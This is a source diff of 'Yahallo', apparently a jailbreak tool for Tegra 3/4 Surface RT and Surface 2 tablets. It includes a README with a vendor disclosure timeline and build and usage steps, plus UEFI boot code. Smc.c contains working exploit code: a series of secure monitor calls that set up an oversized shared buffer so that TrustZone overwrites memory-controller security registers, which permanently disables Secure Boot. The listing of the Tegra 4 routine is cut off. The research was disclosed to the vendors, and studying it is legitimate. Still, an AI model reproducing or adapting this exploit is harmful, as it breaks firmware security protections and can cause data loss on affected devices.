65+
//
66+
// Call the module's entry point
67+
//
68+
Status = ProcessModuleEntryPointList(ImageHandle, SystemTable);
69+
70+
//
71+
// Process destructor for all libraries.
72+
//
73+
ProcessLibraryDestructorList(ImageHandle, SystemTable);
74+
75+
//
76+
// Return the return status code from the driver entry point
77+
//
78+
return Status;
79+
}
80+
81+
/**
82+
Invokes the library destructors for all dependent libraries and terminates
83+
the UEFI Application.
84+
85+
This function calls ProcessLibraryDestructorList() and the EFI Boot Service
86+
Exit() with a status specified by Status.
87+
88+
@param Status Status returned by the application that is exiting.
89+
90+
**/
91+
VOID EFIAPI Exit(IN EFI_STATUS Status)
92+
93+
{
94+
ProcessLibraryDestructorList(gImageHandle, gST);
95+
96+
gBS->Exit(gImageHandle, Status, 0, NULL);
97+
}
98+
99+
/**
100+
Required by the EBC compiler and identical in functionality to
101+
_ModuleEntryPoint().
102+
103+
@param ImageHandle The image handle of the UEFI Application.
104+
@param SystemTable A pointer to the EFI System Table.
105+
106+
@retval EFI_SUCCESS The UEFI Application exited normally.
107+
@retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than
108+
SystemTable->Hdr.Revision.
109+
@retval Other Return value from
110+
ProcessModuleEntryPointList().
111+
112+
**/
113+
EFI_STATUS
114+
EFIAPI
115+
EfiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
116+
{
117+
return _EfiModuleEntryPoint(ImageHandle, SystemTable);
118+
}
119+
120+
STATIC
121+
VOID BlpArmSetExeceptionContext(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor)
122+
{
123+
UINT32 VbarValue;
124+
125+
VbarValue = FirmwareDescriptor->ExceptionState.Vbar;
126+
ArmWriteVBar(FirmwareDescriptor->ExceptionState.Vbar);
127+
ArmInstructionSynchronizationBarrier();
128+
}
129+
130+
STATIC
131+
VOID BlpArmSetThreadContext(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor)
132+
{
133+
UINT32 TpidrprwValue;
134+
UINT32 SctlrValue;
135+
136+
TpidrprwValue = FirmwareDescriptor->ExceptionState.IdSvcRW;
137+
ArmWriteTpidrprw(TpidrprwValue);
138+
ArmInstructionSynchronizationBarrier();
139+
140+
SctlrValue = FirmwareDescriptor->ExceptionState.Control;
141+
ArmWriteSctlr(SctlrValue);
142+
143+
ArmInvalidateTlb();
144+
ArmInvalidateBtac();
145+
ArmDataSynchronizationBarrier();
146+
ArmInstructionSynchronizationBarrier();
147+
}
148+
149+
STATIC
150+
VOID BlpArmSetPagingContext(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor)
151+
{
152+
UINT32 TtbrValue;
153+
154+
TtbrValue = FirmwareDescriptor->MmState.HardwarePageDirectory |
155+
FirmwareDescriptor->MmState.TTB_Config;
156+
ArmSetTTBR0((VOID *)TtbrValue);
157+
ArmInstructionSynchronizationBarrier();
158+
159+
ArmInvalidateTlb();
160+
ArmInvalidateBtac();
161+
ArmDataSynchronizationBarrier();
162+
ArmInstructionSynchronizationBarrier();
163+
}
164+
165+
STATIC
166+
UINT32 BlpArmDisableInterrupts(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor)
167+
{
168+
UINT32 OldInterruptState;
169+
170+
OldInterruptState = FirmwareDescriptor->InterruptState;
171+
ArmDisableInterrupts();
172+
173+
return OldInterruptState;
174+
}
175+
176+
STATIC
177+
VOID BlpArmEnableInterrupts(IN UINT32 OldInterruptState)
178+
{
179+
if (OldInterruptState) {
180+
ArmEnableInterrupts();
181+
}
182+
}
183+
184+
VOID BlpArmSwitchToFirmwareContext(
185+
IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor)
186+
{
187+
UINT32 OldInterruptState;
188+
189+
OldInterruptState = BlpArmDisableInterrupts(FirmwareDescriptor);
190+
BlpArmSetPagingContext(FirmwareDescriptor);
191+
BlpArmSetThreadContext(FirmwareDescriptor);
192+
BlpArmSetExeceptionContext(FirmwareDescriptor);
193+
BlpArmEnableInterrupts(OldInterruptState);
194+
}
195+
196+
STATIC
197+
VOID BlpEfiMain(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor)
198+
{
199+
EFI_SYSTEM_TABLE *SystemTable;
200+
EFI_HANDLE ImageHandle;
201+
202+
if (FirmwareDescriptor->SystemTable) {
203+
SystemTable = FirmwareDescriptor->SystemTable;
204+
ImageHandle = FirmwareDescriptor->ImageHandle;
205+
206+
_EfiModuleEntryPoint(ImageHandle, SystemTable);
207+
}
208+
}
209+
210+
/**
211+
Windows Boot Application's version of _ModuleEntryPoint.
212+
213+
This function is the entry point for a Windows Boot Application. This function
214+
performs required processor state switch, then hands over control to
215+
EFI's entry point, see BlpEfiMain for details.
216+
217+
@param BootAppParameters Boot Application Params
218+
@param LibraryParameters Library Params, remains unused.
219+
220+
@retval STATUS_SUCCESS The boot application exited normally.
221+
@retval STATUS_INVALID_PARAMETER The boot application entry doesn't contain
222+
valid app params.
223+
224+
**/
225+
NTSTATUS
226+
_ModuleEntryPoint(
227+
IN PBOOT_APPLICATION_PARAMETER_BLOCK BootAppParameters,
228+
IN PBL_LIBRARY_PARAMETERS LibraryParameters)
229+
{
230+
PBL_LIBRARY_PARAMETERS LibraryParams;
231+
PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor;
232+
UINT32 ParamPointer;
233+
234+
if (!BootAppParameters) {
235+
return STATUS_INVALID_PARAMETER;
236+
}
237+
238+
LibraryParams = LibraryParameters;
239+
ParamPointer = (UINT32)BootAppParameters;
240+
FirmwareDescriptor = (PBL_FIRMWARE_DESCRIPTOR)(
241+
ParamPointer + BootAppParameters->FirmwareParametersOffset);
242+
243+
BlpArmSwitchToFirmwareContext(FirmwareDescriptor);
244+
BlpEfiMain(FirmwareDescriptor);
245+
246+
return STATUS_SUCCESS;
247+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
// Armv7Lib.h: Supplmental ARMv7 operations
2+
3+
UINTN
4+
EFIAPI
5+
ArmReadTpidrprw(VOID);
6+
7+
VOID EFIAPI ArmWriteTpidrprw(UINTN Value);
8+
9+
VOID EFIAPI ArmInvalidateBtac(VOID);
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
#------------------------------------------------------------------------------
2+
#
3+
# Copyright (c) 2008 - 2010, Apple Inc. All rights reserved.<BR>
4+
# Copyright (c) 2011 - 2014, ARM Limited. All rights reserved.
5+
# Copyright (c) 2016, Linaro Limited. All rights reserved.
6+
# Copyright (c) 2020, Bingxing Wang. All rights reserved.
7+
#
8+
# SPDX-License-Identifier: BSD-2-Clause-Patent
9+
#
10+
#------------------------------------------------------------------------------
11+
12+
#include <AsmMacroIoLib.h>
13+
14+
.set DC_ON, (0x1<<2)
15+
.set IC_ON, (0x1<<12)
16+
.set CTRL_M_BIT, (1 << 0)
17+
.set CTRL_C_BIT, (1 << 2)
18+
.set CTRL_B_BIT, (1 << 7)
19+
.set CTRL_I_BIT, (1 << 12)
20+
21+
22+
ASM_FUNC(ArmReadTpidrprw)
23+
mrc p15, 0, r0, c13, c0, 4 @ read TPIDRPRW
24+
bx lr
25+
26+
ASM_FUNC(ArmWriteTpidrprw)
27+
mcr p15, 0, r0, c13, c0, 4 @ write TPIDRPRW
28+
bx lr
29+
30+
ASM_FUNC(ArmInvalidateBtac)
31+
mcr p15, 0, r0, c7, c5, 6 @Invalidate Branch predictor array
32+
bx lr
33+
34+
ASM_FUNCTION_REMOVE_IF_UNREFERENCED
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
//------------------------------------------------------------------------------
2+
//
3+
// Copyright (c) 2008 - 2010, Apple Inc. All rights reserved.<BR>
4+
// Copyright (c) 2011 - 2014, ARM Limited. All rights reserved.
5+
// Copyright (c) 2020, Bingxing Wang. All rights reserved.
6+
//
7+
// SPDX-License-Identifier: BSD-2-Clause-Patent
8+
//
9+
//------------------------------------------------------------------------------
10+
11+
12+
INCLUDE AsmMacroExport.inc
13+
PRESERVE8
14+
15+
DC_ON EQU ( 0x1:SHL:2 )
16+
IC_ON EQU ( 0x1:SHL:12 )
17+
CTRL_M_BIT EQU (1 << 0)
18+
CTRL_C_BIT EQU (1 << 2)
19+
CTRL_B_BIT EQU (1 << 7)
20+
CTRL_I_BIT EQU (1 << 12)
21+
22+
23+
RVCT_ASM_EXPORT ArmReadTpidrprw
24+
mrc p15, 0, r0, c13, c0, 4 ; read TPIDRPRW
25+
bx lr
26+
27+
RVCT_ASM_EXPORT ArmWriteTpidrprw
28+
mcr p15, 0, r0, c13, c0, 4 ; write TPIDRPRW
29+
bx lr
30+
31+
RVCT_ASM_EXPORT ArmInvalidateBtac
32+
mcr p15, 0, r0, c7, c5, 6 ; Invalidate Branch predictor array
33+
bx lr
34+
35+
END
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
## @file
2+
# Module entry point library for Windows Boot Application.
3+
#
4+
# Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.<BR>
5+
# Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.<BR>
6+
# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.<BR>
7+
#
8+
# SPDX-License-Identifier: GPL-2.0-only
9+
#
10+
#
11+
##
12+
13+
[Defines]
14+
INF_VERSION = 0x00010005
15+
BASE_NAME = WindowsBootApplicationEntryPoint
16+
MODULE_UNI_FILE = WindowsBootApplicationEntryPoint.uni
17+
FILE_GUID = DADE8301-CB29-4fd5-8148-56FD246C5B88
18+
MODULE_TYPE = UEFI_APPLICATION
19+
VERSION_STRING = 1.0
20+
LIBRARY_CLASS = WindowsBootApplicationEntryPoint|UEFI_APPLICATION
21+
22+
#
23+
# VALID_ARCHITECTURES = ARM
24+
#
25+
26+
[Sources]
27+
ApplicationEntryPoint.c
28+
29+
[Sources.ARM]
30+
Arm/ArmV7Lib.h
31+
Arm/ArmV7Support.S | GCC
32+
Arm/ArmV7Support.asm | RVCT
33+
34+
[Packages]
35+
MdePkg/MdePkg.dec
36+
YahalloPkg/YahalloPkg.dec
37+
ArmPkg/ArmPkg.dec
38+
ArmPlatformPkg/ArmPlatformPkg.dec
39+
40+
[LibraryClasses]
41+
UefiBootServicesTableLib
42+
DebugLib
43+
BaseLib
44+
ArmLib
45+
CacheMaintenanceLib
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
// /** @file
2+
// Module entry point library for Windows Boot Application.
3+
//
4+
// Module entry point library for Windows Boot Application.
5+
//
6+
// Copyright (c) 2007 - 2014, Intel Corporation. All rights reserved.<BR>
7+
// Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.<BR>
8+
// Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.<BR>
9+
//
10+
// SPDX-License-Identifier: GPL-2.0-only
11+
//
12+
// **/
13+
14+
15+
#string STR_MODULE_ABSTRACT #language en-US "Module entry point library for Windows Boot Application"
16+
17+
#string STR_MODULE_DESCRIPTION #language en-US "Module entry point library for Windows Boot Application."
18+

‎README.md

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# Yahallo: Tegra 3 and Tegra 4 TrustZone UEFI variable services handler exploit and Secure Boot unlock tool
2+
3+
This tool exploits NVIDIA Tegra 3/Tegra 4 UEFI variable services and implements TrustZone takeover. In this way, users can permanently turn off Secure Boot on Tegra-based Windows RT devices without external devices' assistance (e.g. RCM Mode.)
4+
5+
This documentation is intentionally drafted in a professional way to discourage average device owners from messing up the system firmware.
6+
7+
**Disclaimer**: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. By using this tool, you acknowledge that you are intentionally turning off the device's ~security features~. The author is not liable for any consequence, for instance, confidential data loss due to fTPM lockout, or warranty void.
8+
9+
# Issue Disclosure
10+
- 2020/08: Discovery, initial prototype
11+
- 2020/09/22: Reported to MSRC (MSRC 61209)
12+
- 2020/10/07: MSRC confirmed wontfix since Surface RT and Surface 2 hardware are EOL
13+
14+
> Unfortunately, you are correct - support for these versions of the Surface has ended, and no additional security updates will be offered. We appreciate the opportunity to review your research... - MSRC
15+
16+
- 2020/10/19: Reported to NVIDIA PSIRT (3156921)
17+
- 2020/10/23: NVIDIA confirmed new Tegra SoC UEFI implementations don't reuse the old TZ code, old SoC are EOL and they think MS16-100 and MS16-140 fully addressed the prerequisite (but you can always install a BMR image and reset it...), wontfix
18+
19+
> The development team has evaluated this report. The UEFI variable store for current versions of Tegra has changed - the UEFI variable store for Orin/Hopper is not what was used in TZ in previous targets and they do not believe it is affected by this issue.
20+
>
21+
> Also, MS16-100 and MS16-140 appear to be both changes in MS code not system firmware, biggest potential piece would be for the bad images to be rejected from the UEFI secure boot. Likely, MS updated the main dbx file hosted here: https://uefi.org/revocationlistfile as that is the normal way for security issues to be handled in UEFI. - NVIDIA PSIRT
22+
23+
# Usage
24+
- Install Secure Boot Golden Key Exploit first. If the device installed WU updates after Nov 2016, install the BMR to reset Secure Boot Key Storage.
25+
- Run this tool as Windows Boot Manager Boot Application.
26+
27+
# Buildout
28+
I've migrated the build system from Visual Studio (uefi-simple) to EDK2. To build it:
29+
30+
- Place this repo under EDK2 tree, such as `YahalloPkg`
31+
- Apply the EDK2 build system patch. See `Edk2Patches` folder for details.
32+
- `build -a ARM -p YahalloPkg/YahalloPkg.dsc -t GCC5`
33+
34+
Launch this image as a Windows Boot Manager OS entry, with `nointegritychecks` on and `testsigning` on.
35+
36+
# About Project Naming
37+
"Yahallo" by Yui Yuigahama From [Oregairu](https://www.youtube.com/watch?v=Nhr5vrjHcIM). _No objections will be acknowledged._
38+
39+
# License
40+
Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.
41+
42+
This tool is released under GPLv2.

‎TegraSecureBootUnlock/App.c

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#include "Include/Application.h"
2+
3+
EFI_STATUS TegraSecureBootUnlockEntryPoint(
4+
EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
5+
{
6+
EFI_STATUS Status = EFI_SUCCESS;
7+
8+
// Turn off watchdog timer, since this does take a while
9+
gBS->SetWatchdogTimer(0, 0, 0, NULL);
10+
11+
// Search the proper entry
12+
Status = LaunchExploitByVersionTable();
13+
14+
// We won't let people escape here. They need to manually reset
15+
FinalizeApp();
16+
return Status;
17+
}
18+
19+
VOID FinalizeApp(VOID)
20+
{
21+
// Let people wait for stroke
22+
Print(L"!!! PLEASE RESET YOUR DEVICE MANUALLY USING THE POWER BUTTON !!!\n");
23+
Print(L"!!! PLEASE RESET YOUR DEVICE MANUALLY USING THE POWER BUTTON !!!\n");
24+
Print(L"!!! PLEASE RESET YOUR DEVICE MANUALLY USING THE POWER BUTTON !!!\n");
25+
CpuDeadLoop();
26+
}

‎TegraSecureBootUnlock/Cache.c

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#include "Include/Application.h"
2+
3+
VOID CortexA15CachePrime(VOID)
4+
{
5+
UINTN PageSize = 4096;
6+
UINTN Base = 0x83000000;
7+
8+
Print(L"CortexA15CachePrime: priming cache...\n");
9+
10+
for (UINTN Address = 0; Address < (8 * 1024 * 1024); Address += PageSize) {
11+
if ((Address % (1 * 1024 * 1024)) == 0) {
12+
Print(L"CortexA15CachePrime: preloading 0x%08x\n", Base + Address);
13+
}
14+
15+
__builtin_prefetch((VOID *)(Base + Address), 1, 3);
16+
__builtin_prefetch((VOID *)(Base + Address), 0, 3);
17+
}
18+
19+
ArmDataMemoryBarrier();
20+
ArmDataSynchronizationBarrier();
21+
ArmInstructionSynchronizationBarrier();
22+
23+
Print(L"CortexA15CachePrime: Done.\n");
24+
}

‎TegraSecureBootUnlock/Console.c

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
// ConsoleUtility.c: workaround for Tegra 3 firmware
2+
#include "Include/Application.h"
3+
4+
VOID Tegra3ConsoleOutputFixup(VOID)
5+
{
6+
EFI_STATUS Status = EFI_SUCCESS;
7+
UINTN NumOutputProtocolHandles = 0;
8+
EFI_HANDLE * pOutputHandles;
9+
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *pScreenEfiOutputProtocol;
10+
11+
Status = gBS->LocateHandleBuffer(
12+
ByProtocol, &gEfiSimpleTextOutProtocolGuid, NULL,
13+
&NumOutputProtocolHandles, &pOutputHandles);
14+
15+
// Some sanity check here.
16+
if (!EFI_ERROR(Status) && NumOutputProtocolHandles >= 3) {
17+
// Take the last handle as ConOut, don't know how I know this.
18+
// It is painful...and it is 5am now
19+
Status = gBS->HandleProtocol(
20+
pOutputHandles[NumOutputProtocolHandles - 1],
21+
&gEfiSimpleTextOutProtocolGuid, (VOID **)&pScreenEfiOutputProtocol);
22+
23+
// Hack: force use the screen output for ConOut
24+
if (!EFI_ERROR(Status)) {
25+
gST->ConOut = pScreenEfiOutputProtocol;
26+
gST->ConsoleOutHandle = pOutputHandles[NumOutputProtocolHandles - 1];
27+
// TODO: Maybe set ConOut device later...?
28+
pScreenEfiOutputProtocol->OutputString(
29+
pScreenEfiOutputProtocol,
30+
L"At this moment you should have seen something on the screen...\n");
31+
}
32+
}
33+
}

‎TegraSecureBootUnlock/DeviceLut.c

+79
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
// DeviceLut.c: Device Look-up table
2+
3+
#include "Include/Application.h"
4+
5+
// Hack version LUT
6+
VERSION_TABLE_ENTRY gVersionEntries[255] = {
7+
{
8+
// Surface RT v3.31.500, Tegra 3, needs firmware fix-up
9+
// gST string "OemkS EFI Jan 24 2014 18:00:42"
10+
L"OemkS EFI Jan 24 2014 18:00:42",
11+
SurfaceRTExploit,
12+
Tegra3ConsoleOutputFixup,
13+
},
14+
{
15+
// Surface 2 v4.22.500, Tegra 4
16+
// gST string "Surface 2 EFI Sep 11 2014 00:32:29"
17+
L"Surface 2 EFI Sep 11 2014 00:32:29",
18+
Surface2Exploit,
19+
NULL,
20+
},
21+
{
22+
// Terminator
23+
NULL,
24+
},
25+
};
26+
27+
EFI_STATUS LaunchExploitByVersionTable(VOID)
28+
{
29+
EFI_STATUS Status;
30+
PVERSION_TABLE_ENTRY pEntry = NULL;
31+
32+
if (gST->FirmwareVendor != NULL) {
33+
Print(
34+
L"Your firmware (gST): %s, 0x%x\n", gST->FirmwareVendor,
35+
gST->FirmwareRevision);
36+
Print(L"Matching device\n");
37+
38+
PVERSION_TABLE_ENTRY pLut = (PVERSION_TABLE_ENTRY)&gVersionEntries;
39+
40+
do {
41+
if (StrStr(gST->FirmwareVendor, pLut->FirmwareRelease) != NULL) {
42+
pEntry = pLut;
43+
break;
44+
}
45+
pLut++;
46+
} while (pLut->FirmwareRelease != NULL);
47+
}
48+
else {
49+
Print(L"[WARN] Failed to read firmware release from EFI System Table\n");
50+
}
51+
52+
if (pEntry == NULL) {
53+
// Fix the console anyway (because we don't know)
54+
Tegra3ConsoleOutputFixup();
55+
Print(L"Yahallo - Tegra 3/4 Secure Boot Unlock Utility\n");
56+
Print(L"[ERROR] Failed to find the device. It is probably not supported "
57+
L"yet\n");
58+
Print(
59+
L"Your firmware (gST): %s, 0x%x\n", gST->FirmwareVendor,
60+
gST->FirmwareRevision);
61+
Status = EFI_NOT_FOUND;
62+
goto exit;
63+
}
64+
else {
65+
// Run pre-fix up if exists
66+
if (pEntry->PreEntryFixup != NULL) {
67+
HACK_ENTRY pFixupEntry = (HACK_ENTRY)pEntry->PreEntryFixup;
68+
pFixupEntry();
69+
}
70+
71+
// Go
72+
Print(L"Enter the device routine\n");
73+
HACK_ENTRY pHackEntry = (HACK_ENTRY)pEntry->EntryPoint;
74+
pHackEntry();
75+
}
76+
77+
exit:
78+
return Status;
79+
}

‎TegraSecureBootUnlock/Exploit.c

+447
Large diffs are not rendered by default.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
// Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All
2+
// rights reserved.<BR>
3+
4+
#include <Uefi.h>
5+
6+
#include <Library/UefiBootServicesTableLib.h>
7+
#include <Library/UefiRuntimeServicesTableLib.h>
8+
9+
#include <Library/ArmLib.h>
10+
#include <Library/ArmSmcLib.h>
11+
#include <Library/BaseLib.h>
12+
#include <Library/BaseMemoryLib.h>
13+
#include <Library/PrintLib.h>
14+
#include <Library/UefiLib.h>
15+
16+
#include <Protocol/SimpleTextOut.h>
17+
18+
typedef UINTN size_t;
19+
typedef UINT8 uint8_t;
20+
typedef UINT16 uint16_t;
21+
typedef UINT32 uint32_t;
22+
typedef UINT64 uint64_t;
23+
24+
typedef struct _VERSION_TABLE_ENTRY {
25+
CHAR16 *FirmwareRelease;
26+
VOID * EntryPoint;
27+
VOID * PreEntryFixup;
28+
} VERSION_TABLE_ENTRY, *PVERSION_TABLE_ENTRY;
29+
30+
typedef void (*HACK_ENTRY)(void);
31+
32+
// Routines
33+
VOID SurfaceRTExploit(VOID);
34+
VOID Surface2Exploit(VOID);
35+
VOID FinalizeApp(VOID);
36+
37+
VOID PerformNvTegra3Exploit(VOID);
38+
VOID PerformNvTegra4Exploit(VOID);
39+
40+
UINT32
41+
ArmCallSmcHelper(UINT32 R0, UINT32 R1, UINT32 R2, UINT32 R3);
42+
43+
VOID Tegra3ConsoleOutputFixup(VOID);
44+
VOID CortexA15CachePrime(VOID);
45+
46+
EFI_STATUS LaunchExploitByVersionTable(VOID);
47+
48+
void *memmem(const void *h0, size_t k, const void *n0, size_t l);
49+
#define memchr(buf, ch, count) ScanMem8(buf, (UINTN)(count), (UINT8)ch)
50+
#define memcmp(buf1, buf2, count) (int)(CompareMem(buf1, buf2, (UINTN)(count)))
51+
52+
#define _MAX(a, b) ((a) > (b) ? (a) : (b))
53+
#define _MIN(a, b) ((a) < (b) ? (a) : (b))
54+
55+
#define BITOP(a, b, op) \
56+
((a)[(size_t)(b) / (8 * sizeof *(a))] op(size_t) 1 \
57+
<< ((size_t)(b) % (8 * sizeof *(a))))

‎TegraSecureBootUnlock/MemUtility.c

+186
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
#include "Include/Application.h"
2+
3+
static char *
4+
twobyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
5+
{
6+
uint16_t nw = n[0] << 8 | n[1], hw = h[0] << 8 | h[1];
7+
for (h += 2, k -= 2; k; k--, hw = hw << 8 | *h++)
8+
if (hw == nw)
9+
return (char *)h - 2;
10+
return hw == nw ? (char *)h - 2 : 0;
11+
}
12+
13+
static char *
14+
threebyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
15+
{
16+
uint32_t nw = n[0] << 24 | n[1] << 16 | n[2] << 8;
17+
uint32_t hw = h[0] << 24 | h[1] << 16 | h[2] << 8;
18+
for (h += 3, k -= 3; k; k--, hw = (hw | *h++) << 8)
19+
if (hw == nw)
20+
return (char *)h - 3;
21+
return hw == nw ? (char *)h - 3 : 0;
22+
}
23+
24+
static char *
25+
fourbyte_memmem(const unsigned char *h, size_t k, const unsigned char *n)
26+
{
27+
uint32_t nw = n[0] << 24 | n[1] << 16 | n[2] << 8 | n[3];
28+
uint32_t hw = h[0] << 24 | h[1] << 16 | h[2] << 8 | h[3];
29+
for (h += 4, k -= 4; k; k--, hw = hw << 8 | *h++)
30+
if (hw == nw)
31+
return (char *)h - 4;
32+
return hw == nw ? (char *)h - 4 : 0;
33+
}
34+
35+
/*
36+
* Two Way string search algorithm, with a bad shift table applied to the last
37+
* byte of the window. A bit array marks which entries in the shift table are
38+
* initialized to avoid fully initializing a 1kb/2kb table.
39+
*
40+
* Reference: CROCHEMORE M., PERRIN D., 1991, Two-way string-matching,
41+
* Journal of the ACM 38(3):651-675
42+
*/
43+
static char *twoway_memmem(
44+
const unsigned char *h, const unsigned char *z, const unsigned char *n,
45+
size_t l)
46+
{
47+
size_t i, ip, jp, k, p, ms, p0, mem, mem0;
48+
size_t byteset[32 / sizeof(size_t)] = {0};
49+
size_t shift[256];
50+
51+
/* Computing length of needle and fill shift table */
52+
for (i = 0; i < l; i++)
53+
BITOP(byteset, n[i], |=), shift[n[i]] = i + 1;
54+
55+
/* Compute maximal suffix */
56+
ip = -1;
57+
jp = 0;
58+
k = p = 1;
59+
while (jp + k < l) {
60+
if (n[ip + k] == n[jp + k]) {
61+
if (k == p) {
62+
jp += p;
63+
k = 1;
64+
}
65+
else
66+
k++;
67+
}
68+
else if (n[ip + k] > n[jp + k]) {
69+
jp += k;
70+
k = 1;
71+
p = jp - ip;
72+
}
73+
else {
74+
ip = jp++;
75+
k = p = 1;
76+
}
77+
}
78+
ms = ip;
79+
p0 = p;
80+
81+
/* And with the opposite comparison */
82+
ip = -1;
83+
jp = 0;
84+
k = p = 1;
85+
while (jp + k < l) {
86+
if (n[ip + k] == n[jp + k]) {
87+
if (k == p) {
88+
jp += p;
89+
k = 1;
90+
}
91+
else
92+
k++;
93+
}
94+
else if (n[ip + k] < n[jp + k]) {
95+
jp += k;
96+
k = 1;
97+
p = jp - ip;
98+
}
99+
else {
100+
ip = jp++;
101+
k = p = 1;
102+
}
103+
}
104+
if (ip + 1 > ms + 1)
105+
ms = ip;
106+
else
107+
p = p0;
108+
109+
/* Periodic needle? */
110+
if (memcmp(n, n + p, ms + 1)) {
111+
mem0 = 0;
112+
p = _MAX(ms, l - ms - 1) + 1;
113+
}
114+
else
115+
mem0 = l - p;
116+
mem = 0;
117+
118+
/* Search loop */
119+
for (;;) {
120+
/* If remainder of haystack is shorter than needle, done */
121+
if (z - h < l)
122+
return 0;
123+
124+
/* Check last byte first; advance by shift on mismatch */
125+
if (BITOP(byteset, h[l - 1], &)) {
126+
k = l - shift[h[l - 1]];
127+
if (k) {
128+
if (mem0 && mem && k < p)
129+
k = l - p;
130+
h += k;
131+
mem = 0;
132+
continue;
133+
}
134+
}
135+
else {
136+
h += l;
137+
mem = 0;
138+
continue;
139+
}
140+
141+
/* Compare right half */
142+
for (k = _MAX(ms + 1, mem); k < l && n[k] == h[k]; k++)
143+
;
144+
if (k < l) {
145+
h += k - ms;
146+
mem = 0;
147+
continue;
148+
}
149+
/* Compare left half */
150+
for (k = ms + 1; k > mem && n[k - 1] == h[k - 1]; k--)
151+
;
152+
if (k <= mem)
153+
return (char *)h;
154+
h += p;
155+
mem = mem0;
156+
}
157+
}
158+
159+
void *memmem(const void *h0, size_t k, const void *n0, size_t l)
160+
{
161+
const unsigned char *h = h0, *n = n0;
162+
163+
/* Return immediately on empty needle */
164+
if (!l)
165+
return (void *)h;
166+
167+
/* Return immediately when needle is longer than haystack */
168+
if (k < l)
169+
return 0;
170+
171+
/* Use faster algorithms for short needles */
172+
h = memchr(h0, *n, k);
173+
if (!h || l == 1)
174+
return (void *)h;
175+
k -= h - (const unsigned char *)h0;
176+
if (k < l)
177+
return 0;
178+
if (l == 2)
179+
return twobyte_memmem(h, k, n);
180+
if (l == 3)
181+
return threebyte_memmem(h, k, n);
182+
if (l == 4)
183+
return fourbyte_memmem(h, k, n);
184+
185+
return twoway_memmem(h, h + k, n, l);
186+
}

‎TegraSecureBootUnlock/Smc.c

+87
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
// Smc.c: SMC and exploit handler
2+
#include "Include/Application.h"
3+
4+
UINT32
5+
ArmCallSmcHelper(UINT32 R0, UINT32 R1, UINT32 R2, UINT32 R3)
6+
{
7+
ARM_SMC_ARGS ArmSmcArgs;
8+
9+
#if DEBUG
10+
Print(
11+
L"ArmCallSmcHelper: >>> {0x%08x, 0x%08x, 0x%08x, 0x%08x}\n", R0, R1, R2,
12+
R3);
13+
#endif
14+
15+
ArmSmcArgs.Arg0 = R0;
16+
ArmSmcArgs.Arg1 = R1;
17+
ArmSmcArgs.Arg2 = R2;
18+
ArmSmcArgs.Arg3 = R3;
19+
20+
ArmCallSmc(&ArmSmcArgs);
21+
22+
#if DEBUG
23+
Print(
24+
L"ArmCallSmcHelper: <<< {0x%08x, 0x%08x, 0x%08x, 0x%08x}\n",
25+
ArmSmcArgs.Arg0, ArmSmcArgs.Arg1, ArmSmcArgs.Arg2, ArmSmcArgs.Arg3);
26+
#endif
27+
28+
return ArmSmcArgs.Arg0;
29+
}
30+
31+
VOID PerformNvTegra3Exploit(VOID)
32+
{
33+
UINT32 Ret = 0;
34+
// Get size of the buffers needed (discarded)
35+
Ret = ArmCallSmcHelper(0x03, 0x09, 0, 0);
36+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
37+
38+
// Switch secure world handlers to runtime mode
39+
Ret = ArmCallSmcHelper(0x03, 0x05, 0, 0);
40+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
41+
42+
// Register a new shared memory buffer at 0x4000_0000 (IRAM) with size
43+
// 0x6001_e0e0. The following algorithm is used to determine the end address
44+
// that the QueryVariable call will write over:
45+
// response_area = (request_area + (area_slice >> 1));
46+
Ret = ArmCallSmcHelper(0x03, 0x06, 0x40000000, 0x6001e0e0);
47+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
48+
49+
// QueryVariable, does a 32 byte memory copy over to 0x7000f070...f090.
50+
// (MC_SECURITY_CFG0, MC_SECURITY_CFG1 and reserved registers)
51+
gBS->SetMem((VOID *)0x40000000, 32, 0);
52+
Ret = ArmCallSmcHelper(0x03, 0x03, 0, 0);
53+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
54+
}
55+
56+
VOID PerformNvTegra4Exploit(VOID)
57+
{
58+
UINT32 Ret = 0;
59+
60+
